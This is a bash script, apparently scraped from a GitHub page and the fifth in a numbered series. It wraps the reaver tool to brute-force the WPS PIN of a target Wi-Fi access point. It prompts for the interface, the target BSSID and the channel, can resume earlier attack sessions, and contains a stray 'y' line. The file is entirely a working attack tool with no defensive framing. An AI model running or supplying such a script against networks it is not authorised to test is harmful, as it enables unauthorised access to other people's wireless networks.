-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path5_soul_reaver.sh
84 lines (50 loc) · 1.5 KB
/
5_soul_reaver.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#! /bin/bash
#######################################
#
#This script is used in conjuction with
#4_wash_wps_detector.sh this should be
#run after that script and after you
#have collected the bssid, essid and
#channel of the target network with
#wash
#
#######################################
###COLLECT INFO FROM USER
echo "Please enter the interface you wish to use:"
read WIFIINTERFACE
echo -e "\n"
echo "Now enter the bssid (AP mac) of target:"
read APBSSID
echo -e "\n"
echo "Enter the channel:"
read APCHANNEL
echo -e "\n"
echo "Would you like to run reaver (Q)uietly or (V)erbose?"
read VERBOSEORNOT
echo -e "\n"
echo "Is this a continuation of a previous reaver attack?"
read CONTINUATION
echo -e "\n"
case $VERBOSEORNOT in
###check for verbosity quiet
[Qq] ) ###then check continuation or not
if [ "$CONTINUATION" = "Y" ] || [ "$CONTINUATION" = "y" ]; then
reaver -i $WIFIINTERFACE -b $APBSSID -c $APCHANNEL -d 0 -q -s /etc/reaver/$APBSSID
### to answer the question of continue or not
else
reaver -i $WIFIINTERFACE -b $APBSSID -c $APCHANNEL -d 0 -q
###no continue
fi ###end of if
;;
###check for verbosity yes
[Vv] ) ###then check if continuation or not
if [ "$CONTINUATION" = "Y" ] || [ "$CONTINUATION" = "y" ]; then
reaver -i $WIFIINTERFACE -b $APBSSID -c $APCHANNEL -d 0 -vv -s /etc/reaver/$APBSSID
y
### yes to continue with crack
else
reaver -i $WIFIINTERFACE -b $APBSSID -c $APCHANNEL -d 0 -vv
### nothing, it wont ask if its not a continue
fi ### end of if
;;
esac